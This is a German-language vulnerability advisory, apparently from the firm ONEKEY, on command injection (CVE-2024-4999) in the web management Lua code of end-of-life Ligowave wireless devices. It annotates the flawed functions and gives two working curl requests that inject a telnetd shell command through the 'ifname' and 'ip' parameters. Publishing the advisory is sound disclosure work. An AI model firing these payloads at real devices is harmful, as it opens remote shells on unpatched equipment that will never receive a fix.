Ressourcen
>
Research
>
Sicherheitshinweis: Codeausführung aus der Ferne auf Ligowave-Geräten

Sicherheitshinweis: Codeausführung aus der Ferne auf Ligowave-Geräten

Sicherheitshinweis: Codeausführung aus der Ferne auf Ligowave-Geräten
Quentin Kaiser
Lead Security Researcher
Inhaltsverzeichniss

SIND SIE BEREIT, IHR RISIKOMANAGEMENT ZU VERBESSERN?

Machen Sie Cybersicherheit und Compliance mit ONEKEY effizient und effektiv.

Jetzt in Aktion sehen

Einführung

Auch wenn wir mit der Veröffentlichung unserer Funktion zur Identifizierung von Binär-Zero-Days beschäftigt sind, bedeutet das nicht, dass unsere anderen Analysefunktionen ruhen. Ein Beispiel dafür sind diese Schwachstellen, die den Lua-Code in vier verschiedenen Produktlinien von Ligowave betreffen. Diese Produkte stehen alle im Zusammenhang mit „Wireless Network Backhaul“ und reichen von professionellen 5-GHz-Funkgeräten für Punkt-zu-Punkt-Verbindungen über große Entfernungen bis hin zu Business-Access-Points.

Wir haben zunächst die APC Propeller-Firmware auf unsere Plattform hochgeladen, wo mehrere Befehlsinjektionsprobleme im Lua-Code gemeldet wurden. Anschließend haben wir unsere Suche auf andere Firmwares von Ligowave ausgeweitet, bei denen dieselben Probleme ebenfalls identifiziert wurden. Zu diesen Produkten gehören Ligowave UNITY, PRO, MIMO und APC. Neuere Ligowave-Produktlinien bieten zwar dieselben Funktionen, verwenden jedoch mittlerweile sicherere Optionen für die Befehlsausführung und sind daher nicht betroffen.

Remote-Befehlsausführung

Affected vendor & product Ligowave UNITY
Ligowave PRO
Ligowave MIMO
Ligowave/APC Propeller
Vendor Advisory N/A
Vulnerable version Ligowave UNITY up to version 6.95-2 included
Ligowave PRO up to version 6.95-1.rt3883 included
Ligowave MIMO up to version 6.95-1.rt2880 included
Ligowave/APC Propeller up to version 2-5.95-4.rt3352 included
Fixed version N/A
CVE IDs CVE-2024-4999
Impact (CVSS) CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:U/V:D/RE:M/U:Amber
Credit Q. Kaiser, ONEKEY Research Lab
Research supported by Certainity

Zusammenfassung

Eine Schwachstelle in der webbasierten Verwaltungsoberfläche mehrerer Ligowave-Geräte könnte es einem authentifizierten Remote-Angreifer ermöglichen, beliebige Befehle auszuführen.

Auswirkungen

Die erfolgreiche Ausnutzung dieser Schwachstellen würde es authentifizierten Remote-Angreifern ermöglichen, eine Remote-Befehlsausführung mit erhöhten Privilegien auf den betroffenen Geräten zu erlangen.

Beschreibung

uam_add_internal-Befehlsinjektionen

Das erste Problem betrifft uam.lua , insbesondere die uam_add_internal -Funktion. Der ifname -Anforderungsparameter wird verwendet, um mehrere Befehlszeichenfolgen zu erstellen, die mit os.execute ausgeführt werden,
ohne vorherige Bereinigung.

Im folgenden Code sind die Quellen und Senken annotiert:

local function get_internal_uam_path(ifname)
  if not ifname then
    return false, 400, "Bad request - 'ifname' missing"
  end
  return "/etc/persistent/chilli/" .. ifname
end

function uam_add_internal(req, res)
-- snip --
  local dst_dir, status_code, status_msg = get_internal_uam_path(req.POST.ifname) -- NOTE: SOURCE
  os.execute("/bin/rm -rf " .. dst_dir .. "/www") -- NOTE: SINK 1
  os.execute("/bin/mkdir -p " .. dst_dir) -- NOTE: SINK 2
  local unzip_dst = "/tmp/custom_internal"
  os.execute("/bin/rm -rf " .. unzip_dst)
  os.execute("/bin/mkdir -p " .. unzip_dst)
  local cmd = string.format("cd %s && /bin/unzip %s", unzip_dst, zip_file)
  os.execute(cmd)
  cmd = string.format("cd %s && /bin/mv * %s", unzip_dst, dst_dir .. "/www")
  os.execute(cmd) -- NOTE: SINK 3
  cmd = string.format("cd %s && /bin/chmod a+x `/bin/ls www/* | /bin/egrep chi$\\|sh$` && cd -", dst_dir)
  os.execute(cmd) -- NOTE: SINK 4
  os.remove(zip_file)
  os.execute("/bin/rm -rf " .. unzip_dst)
  return true
end

‍

Diese Schwachstelle kann durch das Senden einer Anfrage wie der folgenden ausgenutzt werden:

curl -X POST \
-H 'Content-Type: multipart/form-data' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
-F 'internal_uam=@/etc/hosts' \
-F 'ifname=$(telnetd -l sh -p 9999)' \
'http://device-ip/cgi-bin/main.cgi/uam_add_internal'

‍

Die zweite Gruppe von Schwachstellen betrifft die linktest.lua , insbesondere die link_test -Funktion. Der Anfrageparameter ip wird verwendet, um einen Befehlsstring zu erstellen, der mit os.execute ohne vorherige Bereinigung ausgeführt wird.

Im folgenden Code sind die Quelle und die Senke annotiert:

function link_test(req, res)
  local log_file = "/tmp/linktest.log"
  local error_code = 0
  local output
  local error_msg
  if req.method == "POST" then
    if req.POST.action == "stop" then
      os.execute("/bin/killall -1 linktest")
      return true
    end
--snip--
  local cmd = "/bin/pidof linktest"
  output = utils.read_popen(cmd)
  if output ~= '\n' and output ~= '' then
    error_code = -1
  elseif stats.getPeerCount() == 0 then
    error_code = -2
  else

  if req.POST.ip then
    local ip = req.POST.ip -- NOTE: SOURCE
    cmd = string.format("/sbin/linktest -t %s -s %s -a %s > %s 2>&1 &", t, s, ip, log_file) -- NOTE: PROPAGATOR
  else
    cmd = string.format("/sbin/linktest -t %s -s %s > %s 2>&1 &", t, s, log_file)
  end
  os.execute(cmd) -- NOTE: SINK
  os.execute("/bin/sleep 1")
end
--snip--

Die Schwachstelle kann durch das Senden einer Anfrage mit curl ausgenutzt werden:

curl 'http://target-ip/cgi-bin/main.cgi/linktest' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
--data 'pseudo=yes&size=64&sessions=5&ip=$(telnetd -l /bin/sh -p 9999)'

Für beide curl-Anfragen muss das Token-Cookie selbstverständlich angepasst werden.

Empfehlung

Da diese Produkte das Ende ihrer Lebensdauer (EOL) erreicht haben, wird Ligowave die Schwachstelle nicht beheben. Falls ein Austausch des EOL-Geräts nicht möglich ist, stellen Sie sicher, dass der Zugriff auf die Verwaltungsoberfläche auf Verwaltungsnetzwerke oder dedizierte Administrations-Sprungserver beschränkt ist, um die Angriffsfläche und damit die Wahrscheinlichkeit einer Ausnutzung zu verringern.

Wichtige Erkenntnisse

Wie bereits in unserem Sicherheitshinweis zu Industrie-Routern von Delta Electronicsdargelegt, werden ICS-Geräte wie Punkt-zu-Punkt-Funkantennen, Panels und Bridges in der Regel für langfristige Einsätze installiert, die leider oft die Lebensdauer des Herstellersupports überschreiten (ein Problem, das durch den kommenden EU Cyber Resilience Act adressiert wird). Mit unseren automatisierten Funktionen zur Firmware-Sicherheitsanalyse zeigen wir nicht nur auf, wie Hersteller den Nutzen ihrer PSIRT-Bemühungen maximieren und effektive Programme zur Schwachstellenerkennung und -verwaltung betreiben können, sondern bieten ICS-Gerätebetreibern auch die notwendigen Werkzeuge für eine aussagekräftige Risikobewertung der Lieferkette.

Wenn Sie Ihre Geräte testen möchten, können Sie sich gerne an uns wenden.

Zeitplan

  • 05.02.2024 –Erster Kontaktaufnahmeversuch per E-Mail und Webformular.
  • 06.02.2024 – Ligowave-Support gibt an, dass das Gerät nicht mehr unterstützt wird.
  • 13.02.2024 – Ligowave bittet um Zusendung des Berichts per E-Mail.
  • 13.02.2024 – Austausch zu den betroffenen Geräten.
  • 12.03.2024 –Support-Fall von Ligowave als gelöst markiert.
  • 05.05.2024 –90-tägige Offenlegungsfrist.
  • 16.05.2024 –Veröffentlichung des ONEKEY-Advisory.
Teilen

Über Onekey

ONEKEY ist der führende europäische Spezialist für Product Cybersecurity & Compliance Management und Teil des Anlageportfolios von PricewaterhouseCoopers Deutschland (PwC). Die einzigartige Kombination der automatisierten ONEKEY Product Cybersecurity & Compliance Platform (OCP) mit Expertenwissen und Beratungsdiensten bietet schnelle und umfassende Analyse-, Support- und Verwaltungsfunktionen zur Verbesserung der Produktsicherheit und -konformität — vom Kauf über das Design, die Entwicklung, die Produktion bis hin zum Ende des Produktlebenszyklus.

KONTAKT:
Sara Fortmann

Senior Marketing Manager
sara.fortmann@onekey.com

euromarcom public relations GmbH
team@euromarcom.de

Verwandte Researchartikel

Beyond PHP2Shell: Finding Vulnerable PHP Across Your Firmware Portfolio
eMudhra CA Compromise: Are Your Embedded Devices at Risk?
Security Advisory: Secure Boot Bypass on NVIDIA Jetson for Linux

Machen Sie Cybersicherheit und Compliance mit ONEKEY effizient und effektiv.